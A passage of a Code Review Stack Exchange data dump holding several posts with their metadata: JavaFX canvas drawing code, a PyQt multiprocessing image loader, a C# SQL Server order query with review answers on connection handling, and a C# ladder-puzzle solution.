System.out.println("mouse dragged");
event.setDragDetect(false);
dragx = (int) (event.getX() / board.getGRIDWIDTH());
dragy = (int) (event.getY() / board.getGRIDWIDTH());
if (dragx >= 0 && dragy >= 0 &&
dragy < board.getBoard().length && dragx < board.getBoard()[0].length && board.getBoard()[dragy][dragx] == 0) {
if ((dragx == currentx + 1 && dragy == currenty) ||
(dragx == currentx - 1 && dragy == currenty) ||
(dragx == currentx && dragy == currenty + 1) ||
(dragx == currentx && dragy == currenty - 1)) {
board.getBoard()[dragy][dragx] = -board.getBoard()[starty][startx];
currentx = dragx;
currenty = dragy;
}
}
GraphicsContext gc = view.getCanvas().getGraphicsContext2D();
for (int i = 0; i < board.getBoard().length; i++) { //row
for (int j = 0; j < board.getBoard()[i].length; j++) { //column
pipex = i * board.getGRIDWIDTH();
pipey = j * board.getGRIDWIDTH();
boolean left = false;
boolean right = false;
boolean above = false;
boolean below = false;
if (i > 0 && Math.abs(board.getBoard()[j][i]) == Math.abs(board.getBoard()[j][i - 1])) {
left = true;
}
if (j > 0 && Math.abs(board.getBoard()[j][i]) == Math.abs(board.getBoard()[j - 1][i])) {
above = true;
}
if (i < board.getBoard().length - 1 && Math.abs(board.getBoard()[j][i]) == Math.abs(board.getBoard()[j][i + 1])) {
right = true;
}
if (j < board.getBoard().length - 1 && Math.abs(board.getBoard()[j][i]) == Math.abs(board.getBoard()[j + 1][i])) {
below = true;
}
switch (board.getBoard()[j][i]) {
case -1:
gc.setFill(Color.RED);
gc.fillRect(pipex + model.getRectOffset(), pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
if (above && below) {
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), board.getGRIDWIDTH());
}
if (left && right) {
gc.fillRect(pipex, pipey + model.getRectOffset(), board.getGRIDWIDTH(), model.getPipeWidth());
}
if (above && left) {
gc.fillRect(pipex, pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), model.getPipeWidth());
}
if (above && right) {
gc.fillRect(pipex + (board.getGRIDWIDTH() / 2), pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), model.getPipeWidth());
}
if (below && left) {
gc.fillRect(pipex + model.getRectOffset(), pipey + (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth(), (board.getGRIDWIDTH() - model.getRectOffset()));
gc.fillRect(pipex, pipey + model.getRectOffset(), (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth());
}
if (below && right) {
gc.fillRect(pipex + model.getRectOffset(), pipey + (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth(), (board.getGRIDWIDTH() - model.getRectOffset()));
gc.fillRect(pipex + model.getRectOffset(), pipey + model.getRectOffset(), (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth());
}
break;
case -2:
gc.setFill(Color.BLUE);
gc.fillRect(pipex + model.getRectOffset(), pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
if (above && below) {
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), board.getGRIDWIDTH());
}
if (left && right) {
gc.fillRect(pipex, pipey + model.getRectOffset(), board.getGRIDWIDTH(), model.getPipeWidth());
}
if (above && left) {
gc.fillRect(pipex, pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), model.getPipeWidth());
}
if (above && right) {
gc.fillRect(pipex + (board.getGRIDWIDTH() / 2), pipey + model.getRectOffset(), model.getPipeWidth(), model.getPipeWidth());
gc.fillRect(pipex + model.getRectOffset(), pipey, model.getPipeWidth(), model.getPipeWidth());
}
if (below && left) {
gc.fillRect(pipex + model.getRectOffset(), pipey + (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth(), (board.getGRIDWIDTH() - model.getRectOffset()));
gc.fillRect(pipex, pipey + model.getRectOffset(), (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth());
}
if (below && right) {
gc.fillRect(pipex + model.getRectOffset(), pipey + (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth(), (board.getGRIDWIDTH() - model.getRectOffset()));
gc.fillRect(pipex + model.getRectOffset(), pipey + model.getRectOffset(), (board.getGRIDWIDTH() - model.getRectOffset()), model.getPipeWidth());
}
break;}}}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T23:17:47.383",
"Id": "513685",
"Score": "0",
"body": "you can put the code that different between cases in the case statement (in this case the set color part). And put the rest of the code after the switch. Don't forget to filter the value first between -1 and -9 before the switch, otherwise that part of the code would be executed for any values. I feel like the whole code is a bit clunky, but I can't give you more advice how to make your code better, because I don't know the scope of that code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T13:21:14.977",
"Id": "513722",
"Score": "0",
"body": "How should I do the filtering? I indeed tried before to put the repetition of code outside of the switch and that part is indeed executed for all the values.\nI'm making a game like flow free. This part of the code is where you drag the mouse and draw blocks to create a pipe."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T05:39:32.547",
"Id": "513783",
"Score": "0",
"body": "You can do it like this: \n`int val = board.getBoard()[j][i];`\n`if(val < -9 || val > -1) continue;`\n`Color color; switch(val) {case -1: color = Color.RED; break;/* ... -9 */} gc.setFill(color); // rest of the code`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T11:52:50.333",
"Id": "513801",
"Score": "0",
"body": "Thank you very much, that did the job!\nI forgot about the \"continue\", that way my code was still being processed for the whole board."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T20:42:25.057",
"Id": "260234",
"Score": "1",
"Tags": [
"javafx"
],
"Title": "Reduce repetition of code for drawing on a canvas in JavaFx"
}
|
260234
|
<p>I am building an application that needs to load 100-200 images (really only limited by performance) and display them to the user in a sort of gallery. A good analogy would simply be Google Images. In a linear implementation loading 100 images takes roughly 3-6 seconds, during which the GUI is frozen. I tried offloading this to a background thread, but quickly learned that QPixmap is not thread-safe and can only be created in the GUI thread. So naturally I looked into multiprocessing and discovered that this is a much more difficult problem than I thought due to the GIL when it comes to threading, and lack of shared-state when it comes to multiprocessing...</p>
<p>So I was able to write a sample application that can load up a bunch of QLabels and populate them in the background using a series of threads, locks, queues, and processes which I have cobbled together into an <code>ImageManger</code> class. This involves creating the widgets in the main GUI thread, loading <code>QImage's</code> in a background process, pickling them, re-constructing a <code>QImage</code> in a background thread, and then finally using a signal to emit this new <code>QImage</code> from the background thread into the GUI thread where it is converted into a <code>QPixmap</code>.</p>
<p>Overall I am actually quite surprised at how well this is working out! However I am posting up on Code Review because I want to test my knowledge of threading, multiprocessing and concurrency in PyQt which is still somewhat rough ground for me. My questions are: have I done this in the best way? Is this overly complex and there is a much better solution? Can this be optimized further?</p>
<p>My requirements are that the GUI thread is blocked as little as possible, and there are placeholders for the images that get populated as they buffer. Speed is a concern, but I am more concerned about keeping the GUI fluid and if this adds a bit of time to the overall process I can live with that (and so can the users!).</p>
<p>Here's my working code. Sorry for the large amount of lines, I have tried to slim it down as much as possible and broke things into classes/methods to keep them (hopefully) descriptive:</p>
<pre><code>import sys, os
from PyQt5 import QtGui, QtCore, QtWidgets
from multiprocessing import Process, Manager, Queue
from queue import Empty as QueueEmpty
PROCESS_TIMEOUT = 10
class App(QtWidgets.QDialog):
def __init__(self):
super().__init__()
self.img_loader = ImageManager(self)
self.img_loader.image_loaded.connect(self.on_image_loaded)
self.img_loader.start()
self.img_widgets = {}
# gui
self.layout = QtWidgets.QVBoxLayout()
self.setLayout(self.layout)
self.scroll_area = QtWidgets.QScrollArea()
self.scroll_area.setWidgetResizable(True)
self.layout.addWidget(self.scroll_area)
img_scroll_parent = QtWidgets.QWidget()
self.scroll_area.setWidget(img_scroll_parent)
self.img_layout = QtWidgets.QVBoxLayout()
img_scroll_parent.setLayout(self.img_layout)
go_btn = QtWidgets.QPushButton('go')
go_btn.clicked.connect(self.start_loading_images)
self.layout.addWidget(go_btn)
def start_loading_images(self):
load_dir = r'' # <---- path to directory with TONS of images!
for fn in os.listdir(load_dir):
path = os.path.join(load_dir, fn)
if not os.path.isdir(path):
if os.path.splitext(fn)[1] in ['.png', '.jpg']:
widget = QtWidgets.QLabel('...loading...')
widget.setScaledContents(True)
widget.setFixedHeight(100)
self.img_layout.addWidget(widget)
self.img_widgets[fn] = widget
self.img_loader.load_image(path)
def on_image_loaded(self, path, qimage):
fn = os.path.split(path)[1]
if fn in self.img_widgets:
widget = self.img_widgets[fn]
pixmap = QtGui.QPixmap(qimage)
if pixmap.isNull():
print(f'Error loading {fn}')
return
h = pixmap.height()
w = pixmap.width()
widget.setText('')
widget.setFixedWidth(int((widget.height() * w) / h)) # this was the fastest way I could find to set an image on a label and maintain aspect ratio.
widget.setPixmap(pixmap)
def closeEvent(self, event):
self.img_loader.shutdown()
super().closeEvent(event)
class ImageManager(QtCore.QObject):
image_loaded = QtCore.pyqtSignal(str, QtGui.QImage)
def __init__(self, parent):
super().__init__(parent)
self.work_queue = Queue()
self.done_queue = Queue()
self.manager = Manager()
self.img_list = self.manager.list()
self.signal_thread = self.SignalEmitter(self, self.done_queue, self.img_list)
self.signal_thread.imgLoaded.connect(self._emit_image)
self.proc_count = 4
self.bg_procs = []
for _ in range(self.proc_count):
bg_proc = Process(target=self._worker, args=(self.work_queue, self.done_queue, self.img_list,))
self.bg_procs.append(bg_proc)
def start(self):
self.signal_thread.start()
for p in self.bg_procs:
p.start()
def shutdown(self):
# empty queues and insert poison pills
while not self.work_queue.empty():
self.work_queue.get()
for _ in range(self.proc_count):
self.work_queue.put(None)
while not self.done_queue.empty():
self.done_queue.get()
self.done_queue.put(None)
# ensure everything shuts down
self.signal_thread.wait()
for p in self.bg_procs:
p.join()
print('Image manager shutting down')
def _emit_image(self, path, qimage):
self.image_loaded.emit(path, qimage)
def load_image(self, path):
self.work_queue.put(path)
print(f'Added {os.path.split(path)[1]} to queue.')
dead_procs = []
for p in self.bg_procs:
if not p.is_alive():
dead_procs.append(p)
for p in dead_procs:
self.bg_procs.remove(p)
for _ in range(len(dead_procs)):
bg_proc = Process(target=self._worker, args=(self.work_queue, self.done_queue, self.img_list,))
self.bg_procs.append(bg_proc)
bg_proc.start()
class SignalEmitter(QtCore.QThread):
imgLoaded = QtCore.pyqtSignal(str, QtGui.QImage)
def __init__(self, parent, done_queue, img_list):
super().__init__(parent)
self.done_queue = done_queue
self.img_list = img_list
def run(self):
while True:
try:
img_path = self.done_queue.get(timeout=PROCESS_TIMEOUT)
except QueueEmpty:
print("Queue empty, shutting down.")
return
if img_path == None:
break
while len(self.img_list) > 0:
img_data = self.img_list[0]
image = bytearray_to_qimage(img_data['bytes'])
self.imgLoaded.emit(img_data['path'], image)
self.img_list.pop(0)
print('Signal emitter shutting down.')
@staticmethod
def _worker(work_queue, done_queue, list):
while True:
path = work_queue.get()
if path == None:
break
qimg = QtGui.QImage(path)
img_dict = {
'bytes': qimage_to_bytearray(qimg),
'path': path
}
list.append(img_dict)
done_queue.put(path)
print("BG Proc shutting down.")
return
def qimage_to_bytearray(qimage):
byte_array = QtCore.QByteArray()
stream = QtCore.QDataStream(byte_array, QtCore.QIODevice.WriteOnly)
stream << qimage
return byte_array
def bytearray_to_qimage(byte_array):
img = QtGui.QImage()
stream = QtCore.QDataStream(byte_array, QtCore.QIODevice.ReadOnly)
stream >> img
return img
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T22:09:32.747",
"Id": "513954",
"Score": "0",
"body": "I am using 3 instances of the ImageManager in an app and realized that I am spawning like 15 subprocesses, which seems excessive. So I added a timeout to the processes similar to how the QThreadPool works so that processes eventually die and re-start as necessary. I think my implementation of the 're-start' part is a little wonky, happy for improvement there..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-13T13:33:07.730",
"Id": "525457",
"Score": "0",
"body": "May i know purpose of bytearray conversion?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-14T02:27:50.787",
"Id": "525482",
"Score": "0",
"body": "@NAGARAJS That makes it pickleable so that I can load it in a separate process."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-14T06:20:58.180",
"Id": "525488",
"Score": "0",
"body": "Thank you for your comment. i run your code with UnSplash Image which is about 1.5Mb in size i got ```qt.gui.icc: fromIccProfile: failed minimal tag size sanity``` i got this error. Do you Have any idea regarding this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-14T23:46:44.450",
"Id": "525509",
"Score": "0",
"body": "@NAGARAJS see here https://stackoverflow.com/questions/65463848/pyqt5-fromiccprofile-failed-minimal-tag-size-sanity-error. The image still loads though right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-16T08:11:22.017",
"Id": "525548",
"Score": "0",
"body": "Yes Image loads . and I tried that solution , seems not helpful for me."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-20T04:50:53.357",
"Id": "525914",
"Score": "0",
"body": "@NAGARAJS Then what's the problem? It's just a warning, you can ignore it."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T21:06:51.580",
"Id": "260235",
"Score": "4",
"Tags": [
"python",
"multithreading",
"concurrency",
"multiprocessing",
"pyqt"
],
"Title": "PyQt load images in background process"
}
|
260235
|
<pre><code>public (List<Order>, Dictionary<int, string>, Dictionary<int, string>) GetOrders(int RestaurantID, int StartID)
{
List<Order> Orders = null;
Dictionary<int, string> MenuItemsXml = null;
Dictionary<int, string> OrderHistoryXml = null;
string sql = "SELECT ev.ID, ev.RestaurantID, ev.UserID, ev.DateCreated, ev.Amount, ev.AmountDiscounted, ev.TableNumber, (SELECT '|', FoodOrderDetail.ItemID, FoodOrderDetail.ItemName, FoodOrderDetail.Quantity, FoodOrderDetail.[Price], FoodOrderDetail.[Note] FROM FoodOrderDetail INNER JOIN FoodOrders a ON FoodOrderDetail.OrderID = a.ID WHERE a.ID = ev.ID ORDER BY DateCreated DESC FOR XML PATH('')) [OrderItems],(SELECT '|', FoodOrderHistory.[Status], FoodOrderHistory.[StatusDate] FROM FoodOrderHistory INNER JOIN FoodOrders a ON FoodOrderHistory.OrderID = a.ID WHERE a.ID = ev.ID ORDER BY StatusDate ASC FOR XML PATH('')) [OrderHistory] FROM FoodOrders ev WHERE ev.RestaurantID = @param1 AND ev.ID > @param2 AND ev.PreAuthorised = 1 ORDER BY ev.ID DESC;";
using (var connection = new SqlConnection(ConnectionString))
{
using (SqlCommand command = new SqlCommand(sql, connection))
{
command.Parameters.Add(new SqlParameter("@param1", RestaurantID));
command.Parameters.Add(new SqlParameter("@param2", StartID));
connection.Open();
using SqlDataReader dataReader = command.ExecuteReader(CommandBehavior.CloseConnection);
if (dataReader.HasRows)
{
Orders = new List<Order> { };
while (dataReader.Read())
{
Order objOrder = new Order();
objOrder.ID = Convert.ToInt32(dataReader["ID"]);
objOrder.UserID = Convert.ToInt32(dataReader["UserID"]);
objOrder.DateCreated = Convert.ToDateTime(dataReader["DateCreated"]);
objOrder.Amount = Convert.ToDecimal(dataReader["Amount"]);
if (dataReader["AmountDiscounted"] != DBNull.Value)
{
objOrder.Amount = Convert.ToDecimal(dataReader["AmountDiscounted"]);
}
if (dataReader["TableNumber"] != DBNull.Value)
{
objOrder.TableNumber = Convert.ToString(dataReader["TableNumber"]);
}
if (dataReader["OrderItems"] != DBNull.Value)
{
if(MenuItemsXml == null)
{
MenuItemsXml = new Dictionary<int, string>();
}
MenuItemsXml.Add(objOrder.ID, Convert.ToString(dataReader["OrderItems"]));
}
if(dataReader["OrderHistory"] != DBNull.Value)
{
if(OrderHistoryXml == null)
{
OrderHistoryXml = new Dictionary<int, string>();
}
OrderHistoryXml.Add(objOrder.ID, Convert.ToString(dataReader["OrderHistory"]));
}
Orders.Add(objOrder);
}
}
dataReader.Close();
}
if (connection.State == ConnectionState.Open)
{
connection.Close();
}
}
return (Orders, MenuItemsXml, OrderHistoryXml);
}
</code></pre>
<p>The above function is called by this function:</p>
<pre><code>public List<Order> GetOrders(int RestaurantID, int StartID)
{
List<Order> Orders = null;
Dictionary<int, string> OrderItemsXml = null;
Dictionary<int, string> OrderHistoryXml = null;
OrderData objData = new OrderData();
try
{
(Orders, OrderItemsXml, OrderHistoryXml) = objData.GetOrders(RestaurantID, StartID);
}
catch (Exception ex)
{
logger.Error(ex);
}
if(OrderItemsXml != null)
{
foreach (var order in Orders)
{
try
{
// stripe makes us store everything in major currency unit e.g. £1 is 100, so divide by 100 for when we later need to display values
if(order.Amount > 0)
{
order.Amount /= 100;
}
if (OrderItemsXml.ContainsKey(order.ID))
{
order.OrderItems = ConvertXmlToItemsList(OrderItemsXml[order.ID].TrimStart("|".ToCharArray()));
}
else
{
logger.Warn(string.Format("Dictionary OrderItemsXml does not contain OrderId Key of {0} in OrderManager", order.ID.ToString()));
}
if (OrderHistoryXml.ContainsKey(order.ID))
{
order.OrderHistory = ConvertXmlOrderHistory(OrderHistoryXml[order.ID].TrimStart("|".ToCharArray()));
}
else
{
logger.Warn(string.Format("Dictionary OrderHistoryXml does not contain OrderId Key of {0} in OrderManager", order.ID.ToString()));
}
}
catch (Exception ex)
{
logger.Error(ex);
}
}
}
else
{
logger.Warn(string.Format("No order items found for RestaurantID {0} and StartID {1} in method GetOrders() in OrderManager", RestaurantID, StartID));
}
return Orders;
}
</code></pre>
<p>Is function GetOrders() always closing the database connection? Sometimes I get Timeout errors and the most likely reason is the connection pool running out of connections. When this happens the CPU usage goes to 100%. This happens around once per day.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T19:24:52.983",
"Id": "513751",
"Score": "1",
"body": "I don't know what your database looks like but I suspect that the timeouts are caused by the table structure and a SQL statement that is possibly overcomplex. You have joins, one subselect + XML PATH, but what about indexes and how much data do you store currently ? Have you run an execution plan against your query ? `CommandBehavior.CloseConnection` is not useful if you are wrapping the connection within a Using statement."
}
] |
[
{
"body": "<p>Quick remarks:</p>\n<ul>\n<li><p>Please follow the <a href=\"https://docs.microsoft.com/en-us/dotnet/standard/design-guidelines/naming-guidelines\" rel=\"nofollow noreferrer\">Microsoft naming guidelines</a>. Parameters should be camelcase, same with local variables.</p>\n</li>\n<li><p>Don't write your own ORM or use ADO.NET. Instead, <a href=\"https://dapper-tutorial.net/dapper\" rel=\"nofollow noreferrer\">use Dapper</a>.</p>\n</li>\n<li><p>In the middle of retrieving your data from the DB, you start filling <code>MenuItemsXml</code>. Don't do that. Simply retrieve all the values, close the connection, and then start converting the retrieved data into other structures. (Ditto <code>OrderHistoryXml</code>.) In your case you might need a <code>RawOrder</code> which can store <code>OrderItems</code> and <code>OrderHistory</code>, and then afterwards you can (easily) convert this collection of <code>RawOrder</code> into a collection of <code>Order</code>.</p>\n</li>\n<li><p>I'm not a fan of having (long) SQL queries in the midst of C# code. I usually move these to .sql files which I then embed in the DLL and read by using <a href=\"https://github.com/BJMdotNET/code-samples/blob/master/QueryRetriever.cs\" rel=\"nofollow noreferrer\">a class like this</a>.</p>\n</li>\n<li><p>Don't use the <code>ContainsKey</code>/get value pattern when using a <code>Dictionary</code>. Instead use the far more efficient <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.collections.generic.dictionary-2.trygetvalue\" rel=\"nofollow noreferrer\">TryGetValue</a>.</p>\n</li>\n<li><p><code>OrderItemsXml</code> and <code>OrderHistoryXml</code> have confusing names. These do not appear to have anything to do with XML. Give them proper names which express their contents (e.g. <code>OrdeHistoryByOrderId</code>).</p>\n</li>\n<li><p>Use meaningful names. <code>@param1</code> and <code>@param2</code> mean nothing.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T10:09:59.423",
"Id": "260292",
"ParentId": "260237",
"Score": "4"
}
},
{
"body": "<h1>General Observations</h1>\n<p>After reviewing this code it is clear that the 2 functions come from 2 different classes, one class called <code>OrderData</code> which contains the first function shown (with the actual database query) and a second class currently unknown that contains the second function shown. To really help you optimize the code we would need to see the full definitions of both classes (the full contents of both <code>.cs</code> files).</p>\n<p>It isn't clear in the code if it is all synchronous or if the database calls are asynchronous.</p>\n<p>It isn't clear in the question if the database has been optimized using <a href=\"https://docs.microsoft.com/en-us/sql/relational-databases/indexes/clustered-and-nonclustered-indexes-described?view=sql-server-ver15\" rel=\"nofollow noreferrer\">indexes within the tables</a>.</p>\n<p>As indicated in the answer by @BCdotWEB, you want to minimize the time the tables in the database are locked by just retrieving the data from the database, and then closing the connection to the database so that other queries that are accessing the same table can proceed. The <code>OrderData.GetOrders()</code> function should simply return a data table containing the raw data from the sql query there should be an intermediate function that processes that raw data and creates the list of <code>Orders</code> and the 2 dictionaries. Good object oriented programming follows the SOLID principles:</p>\n<p>SOLID is 5 object oriented design principles. <a href=\"https://en.wikipedia.org/wiki/SOLID\" rel=\"nofollow noreferrer\">SOLID</a> is a mnemonic acronym for five design principles intended to make software designs more understandable, flexible and maintainable. This will help you design your objects and classes better.</p>\n<ol>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Single-responsibility_principle\" rel=\"nofollow noreferrer\">Single Responsibility Principle</a> - A class should only have a single responsibility, that is, only changes to one part of the software's specification should be able to affect the specification of the class.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle\" rel=\"nofollow noreferrer\">Open–closed Principle</a> - states software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Liskov_substitution_principle\" rel=\"nofollow noreferrer\">Liskov Substitution Principle</a> - Objects in a program should be replaceable with instances of their subtypes without altering the correctness of that program.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Interface_segregation_principle\" rel=\"nofollow noreferrer\">Interface segregation principle</a> - states that no client should be forced to depend on methods it does not use.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Dependency_inversion_principle\" rel=\"nofollow noreferrer\">Dependency Inversion Principle</a> - is a specific form of decoupling software modules. When following this principle, the conventional dependency relationships established from high-level, policy-setting modules to low-level, dependency modules are reversed, thus rendering high-level modules independent of the low-level module implementation details.</li>\n</ol>\n<p>The Single Responsibility Principle applies to methods and functions as well as to classes.</p>\n<p>The code in this question violates the Single Responsibility Principle when it is applied to methods or functions.</p>\n<h1>Readability</h1>\n<p>The SQL query in <code>OrderData.GetOrders()</code> is almost unreadable. Don't create lines in the code that are wider than the IDE screen. Try to keep the lines less than 80 characters, and definitely less than 120 characters. You can break up string constant construction using the <code>+</code> (plus) operator. Compare the current code to</p>\n<pre><code> string sql = "SELECT ev.ID, ev.RestaurantID, ev.UserID, ev.DateCreated, ev.Amount, ev.AmountDiscounted, ev.TableNumber," +\n " (SELECT '|', FoodOrderDetail.ItemID, FoodOrderDetail.ItemName, FoodOrderDetail.Quantity, FoodOrderDetail.[Price], FoodOrderDetail.[Note]" +\n "FROM FoodOrderDetail INNER JOIN FoodOrders a ON FoodOrderDetail.OrderID = a.ID WHERE a.ID = ev.ID " +\n "ORDER BY DateCreated DESC FOR XML PATH('')) [OrderItems], " +\n "(SELECT '|', FoodOrderHistory.[Status], FoodOrderHistory.[StatusDate] FROM FoodOrderHistory " + \n "INNER JOIN FoodOrders a ON FoodOrderHistory.OrderID = a.ID WHERE a.ID = ev.ID " +\n "ORDER BY StatusDate ASC FOR XML PATH('')) [OrderHistory] FROM FoodOrders ev " + \n "WHERE ev.RestaurantID = @param1 AND ev.ID > @param2 AND ev.PreAuthorised = 1 ORDER BY ev.ID DESC;";\n</code></pre>\n<p>Which is more readable?</p>\n<p>For a query this complex it might be better to write it as a stored procedure and move the processing to the server rather than the local host. Then just call the stored procedure to get the raw data table.</p>\n<h2>Variable Name</h2>\n<p>Rather than use <code>sql</code> as the name for the query string, the variable name <code>queryString</code> might be more meaningful.</p>\n<h1>TSQL Exception Handling</h1>\n<p>The TSQL code in <code>OrderData.GetOrders()</code> should be embedded in in a <code>try {} catch {}</code> block within the function rather than having the <code>try {} catch {}</code> block in the calling function. Log the error and then return normally.</p>\n<p>You will never need to explicitly close the database connection when using <code>using (var connection = new SqlConnection(ConnectionString)) { ... }</code> statement. The connection is opened and closed automatically by the <code>using</code> statement. Here is the <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection?view=dotnet-plat-ext-5.0\" rel=\"nofollow noreferrer\">Microsoft documentation</a>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:58:48.687",
"Id": "260308",
"ParentId": "260237",
"Score": "2"
}
},
{
"body": "<p>Simple answer is yes. when you open a connection in a <code>Using</code> statement, once the scope leaves that statement, it automatically disposes of the connection, there really isn't a reason to explicitly close the connection when implementing a <code>Using</code> statement.</p>\n<p><em><strong>Reference</strong></em>: Microsoft Reference to the IDisposable Interface that is implemented by the DbConnection Class --> <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.idisposable?view=net-5.0#using-an-object-that-implements-idisposable\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/dotnet/api/system.idisposable?view=net-5.0#using-an-object-that-implements-idisposable</a></p>\n<p>Instead of writing out your SQL Statement in a String, you should create a Stored Procedure and call it from the code, and here is why:</p>\n<ol>\n<li><p>Parameterization of the input, when you hand the parameters/variables to the Stored Procedure, C#/SQL Server will automatically convert the input to a string so that SQL Injection can't happen</p>\n</li>\n<li><p>Let SQL Server do what SQL Server does best, plan the query. When you have C# sending the Query in Text form, SQL Server has to create the query plan on the fly, every time. But, if you create a Stored Procedure, then SQL Server can create a plan (<em>once</em>) and use that plan to make it more efficient.</p>\n</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T19:10:41.767",
"Id": "260313",
"ParentId": "260237",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T22:53:38.203",
"Id": "260237",
"Score": "3",
"Tags": [
"c#",
"sql-server",
"connection-pool"
],
"Title": "Retrieving restaurant orders from SQL Server"
}
|
260237
|
<p>I was trying to attempt below given challenge. I tried multiple ways to solve the problem but none of them were good enough to pass the time limit. Please advise if you have any idea to improve on this.</p>
<p><strong>Problem:</strong>
You are visiting a building of N floors. On every floor, only one ladder of specified length is present. If the length of the ladder is x units, you can reach y floors above from the current one.</p>
<p>You can leave the ladder in between in order to change the ladder, but you can only start from the starting floor of the ladder.</p>
<p>You are given Q questions. In each question, you will be given a floor number. For each question, you have to tell the least number of ladders required to reach given floor.
Initially, you are on the ground floor.</p>
<p><strong>Input Format:</strong>
The first line contains an integer T, indicating the number of test cases.
For each test case:
The first line contains an integer N, indicating number of floors in the building.
Next line contains N space separated positive integers which denote the length of ladder at each floor (First integer corresponds to ladder length on ground floor, second integer corresponds to ladder length on first floor and so on) .
Next line contains an integer Q, indicating number of questions.
Following Q lines contain an integer each, denoting the floor number for which answer is to be computed.</p>
<p><strong>Output Format:</strong>
For each question, print the least number of ladders required required to reach given floor.
Answer for each question should come in a new line.</p>
<p><strong>Sample Input:</strong></p>
<pre><code>1
10
2 2 1 1 2 2 3 1 1 1
10
5
4
3
2
1
10
9
8
7
6
</code></pre>
<p><strong>Sample Output:</strong></p>
<pre><code>4
3
2
1
1
6
5
5
5
4
</code></pre>
<p><a href="https://www.hackerearth.com/practice/algorithms/dynamic-programming/introduction-to-dynamic-programming-1/practice-problems/algorithm/ladders-9d63a3e9/" rel="nofollow noreferrer">Problem Reference</a></p>
<p><strong>Solution:</strong></p>
<pre><code>class Program
{
static void Main(string[] args)
{
int T = Convert.ToInt32(Console.ReadLine());
StringBuilder sb = new StringBuilder("");
for (int i = 0; i < T; i++)
{
int N = Convert.ToInt32(Console.ReadLine());
sb.EnsureCapacity(sb.Length + (5 * N));
int[] numOfStairs = new int[N + 1];
numOfStairs[0] = 0;
string[] stairs = Console.ReadLine().Split();
int[] reaches = new int[N];
for (int j = 0; j < stairs.Length; j++)
{
int length = Convert.ToInt32(stairs[j]);
reaches[j] = j + length;
}
int Q = Convert.ToInt32(Console.ReadLine());
for (int j = 0; j < Q; j++)
{
int target = Convert.ToInt32(Console.ReadLine());
sb.AppendLine(GetShortestPath(target, reaches.Take(target).ToArray(), numOfStairs).ToString());
}
}
Console.WriteLine(sb.ToString());
}
static int GetShortestPath(int target, int[] reaches, int[] numOfStairs)
{
if (numOfStairs[target] == 0 && target != 0)
{
List<int> connectedFloors = GetPreviousFloorList(target, reaches);
int[] shortestPaths = new int[connectedFloors.Count];
for (int i = 0; i < connectedFloors.Count; i++)
{
int shortestPath = GetShortestPath(connectedFloors[i], reaches.Take(connectedFloors[i]).ToArray(), numOfStairs);
shortestPaths[i] = shortestPath;
}
int result = shortestPaths.Min() + 1;
numOfStairs[target] = result;
return result;
}
else
{
return numOfStairs[target];
}
}
static List<int> GetPreviousFloorList(int target, int[] reaches)
{
List<int> floors = new List<int>(target / 2);
for (int i = 0; i < target; i++)
{
if (reaches[i] >= target)
floors.Add(i);
}
return floors;
}
}
</code></pre>
|
[
{
